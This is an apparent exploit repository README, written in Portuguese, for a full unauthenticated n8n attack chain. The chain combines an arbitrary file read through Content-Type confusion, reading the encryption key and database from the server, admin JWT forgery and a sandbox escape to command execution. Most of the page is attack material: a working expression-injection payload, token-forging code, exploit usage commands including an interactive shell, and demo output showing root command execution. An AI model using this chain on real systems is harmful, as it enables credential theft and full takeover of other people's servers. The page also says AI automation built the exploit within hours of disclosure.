CVE-2026-21858 + CVE-2025-68613 - Cadeia Completa n8n

Leitura Arbitrária de Arquivos Não Autenticada → Forja de Token de Admin → Bypass de Sandbox → RCE


CVE	CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS	10.0 + 9.9 (Crítico)
Afetado	<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
Corrigido	1.121.0 (AFR) / 1.120.4+ (RCE)
Divulgado	2026-01-07 11:09 UTC
Codinome	Ni8mare
Crédito	Dor Attias (Cyera)
Exploit	Chocapikk
Processo	Automatizado por IA: patch diff → reprodução → laboratório → exploit (~9h após a divulgação)
Tipo	Prova de Conceito - NÃO é um exploit universal (requer configuração de workflow específica, consulte Limitações)

TL;DR

Cadeia RCE completa não autenticada no n8n:

CVE-2026-21858 - Confusão de Content-Type → Leitura Arbitrária de Arquivos
Leia a configuração + o banco de dados → forje o JWT de admin
CVE-2025-68613 - Injeção de expressão → bypass de sandbox → RCE

Detecção

A exposição é baseada em versão. Em termos de exposição, há instâncias n8n vulneráveis acessíveis publicamente.

Resultados LeakIX: Ver instâncias expostas

Resultados de Detecção LeakIX

Por que Este Exploit?

Este exploit foi desenvolvido de forma independente do artigo da Cyera (descoberto após a conclusão). Principais diferenças:

	Cyera (Pesquisa Original)	Este Exploit
Leitura de Arquivo	Carregar na base de conhecimento de IA → consultar via chat	Resposta HTTP direta
Pré-requisitos	Workflow de chat + integração de IA	Qualquer formulário com upload de arquivo
Método RCE	Nó "Execute Command" (desativado por padrão)	Injeção de Expressão (funciona em instalações padrão)
Automação	Demonstração manual/conceitual	Script Python totalmente automatizado

Ambas as abordagens exigem configurações de workflow específicas. A Cyera precisa de chat + integração de IA, este exploit precisa de um formulário com nó Respond. Consulte Limitações para detalhes.

Cadeia de Ataque

┌───────────────────────────────────────────────────────────┐
│                     UNAUTHENTICATED                       │
├───────────────────────────────────────────────────────────┤
│  1. Read /proc/self/environ → Find HOME directory         │
│  2. Read $HOME/.n8n/config → Get encryptionKey            │
│  3. Read $HOME/.n8n/database.sqlite → Get admin creds     │
├───────────────────────────────────────────────────────────┤
│                      TOKEN FORGE                          │
├───────────────────────────────────────────────────────────┤
│  4. Derive JWT secret from encryptionKey                  │
│  5. Forge admin session cookie                            │
├───────────────────────────────────────────────────────────┤
│                    AUTHENTICATED RCE                      │
├───────────────────────────────────────────────────────────┤
│  6. Create workflow with expression injection             │
│  7. Sandbox bypass via this.process.mainModule.require    │
│  8. Execute arbitrary commands                            │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Leitura Arbitrária de Arquivos via Confusão de Content-Type

O Patch

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

O lendário "Merge commit from fork" - quando você vê isso, alguém encontrou algo interessante. 🌶️

Causa Raiz

// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Envie Content-Type: application/json → controle o filepath → leia qualquer arquivo.

CVE-2025-68613 - RCE por Injeção de Expressão

Por que Este Bypass?

O n8n isola o código do usuário (Nó de Código, expressões) em sandbox usando vm2/isolated-vm. Outros vetores de RCE:

Técnica	Status
Nó Execute Command	Desativado por padrão (`N8N_ALLOW_EXEC_COMMAND=false`)
Nós SSH/HTTP	Executam em servidores remotos, não no host n8n
Escape de Sandbox Pyodide	CVE-2025-68668 - requer o Nó de Código Python
Injeção de Expressão	CVE-2025-68613 - funciona em instalações padrão

Usei Injeção de Expressão porque funciona em qualquer n8n com configurações padrão - sem necessidade de nós especiais ou configuração. O bypass Pyodide (CVE-2025-68668) requer o Nó de Código Python que pode não estar disponível em todas as instâncias.

O Payload

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

As expressões do n8n têm acesso a this.process.mainModule.require → escape completo da sandbox.

Forja de Token

# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configuração do Laboratório

docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

Uso

# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Demonstração

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitações

Este NÃO é um exploit "pwn qualquer n8n". Ele requer condições específicas para funcionar:

Requisito	Descrição
Formulário com upload de arquivo	O alvo deve ter um workflow de formulário com campo de upload de arquivo
Nó Respond to Webhook	O workflow deve retornar o conteúdo do arquivo na resposta HTTP
Workflow ativo	O workflow do formulário deve estar ativado
Acesso não autenticado	O formulário deve ser acessível publicamente (sem autenticação)

Exemplo de configuração de workflow vulnerável:

CVE-2026-21858

Mais Populares